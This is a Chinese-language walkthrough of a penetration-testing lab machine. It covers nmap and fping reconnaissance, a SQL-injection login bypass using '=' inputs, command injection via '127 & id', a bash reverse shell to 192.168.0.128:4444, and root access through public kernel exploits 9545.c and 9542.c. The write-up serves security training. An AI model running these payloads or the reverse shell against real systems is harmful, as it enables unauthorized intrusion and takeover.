簡介
靶機較爲簡單,通過登錄頁SQL注入漏洞登錄管理頁面,然後利用命令注入漏洞獲得Web Shell,最後利用內核漏洞提升至root權限。
信息收集
使用fping -agq 192.168.0.0/24探測局域網內其它主機,發現目標主機IP地址,如圖:
然後使用nmap --min-rate 10000 -T5 -A -sC -p1-65535 192.168.0.130快速掃描目標主機開啓的端口與服務,發現開啓22,80,111,443,631,868和3306端口,分別運行着OpenSSH 3.9p1,Apache httpd 2.0.20,rpcbind,https,CUPS1.1,RPC和MySQL服務,操作系統可能爲CentOS 2.6,如圖:
使用SearchSploit搜索openssh 漏洞如圖:
使用Google搜索631端口運行的服務CUPS/1.1漏洞,發現存在緩衝區溢出、本地權限提升和任意文件覆蓋漏洞,使用SearchSploit查找漏洞利用程序,如圖:
漏洞發現
使用dirbuster掃描80端口和631端口目錄時未發現有用的信息,使用nikto掃描漏洞時也未發現存在SQL注入漏洞,雖然631端口允許PUT方法,但是由於目錄沒有權限,故無法上傳文件。使用漏洞數據庫中openssh的漏洞利用程序無法獲得shell。然後訪問80端口Web服務,發現是個簡陋的登錄頁面,如圖:
在源代碼中發現網頁提交登錄信息到index.php,且有一句註釋像是提示,如圖:
SQL注入漏洞
使用單引號測試SQL注入發現頁面沒有任何變化,嘗試使用用戶名‘=’和密碼‘=’登錄成功,如圖:
可見這裏存在SQL注入,使用sqlmap測試時,在level=3,risk=2的條件下發現uname參數存在SQL注入漏洞,如圖:
但是權限較低,無法通過SQL注入獲取root用戶密碼和shell。
命令注入漏洞
在登錄後的頁面測試是否存在命令注入漏洞,使用127 & id測試,成功執行命令,如圖:
漏洞利用
利用命令注入漏洞通過bash -i >& /dev/tcp/192.168.0.128/4444 0>&1反彈shell,如圖:
權限提升
查看內核版本,發現是2.6.9-55,如圖:
使用searchsploit查找centos 2.x的內核提權漏洞利用程序,如圖:
將9545.c上傳到目標主機,編譯後執行,成功獲得root權限,如圖:
同樣,將9542.c上傳到目標主機,編譯後執行,成功獲得root權限,如圖:
總結
該靶機沒有花太多時間,在SQL注入以及嘗試使用其他方法提權上花的時間比較多,但最終未找到除內核漏洞提權外的其它方法。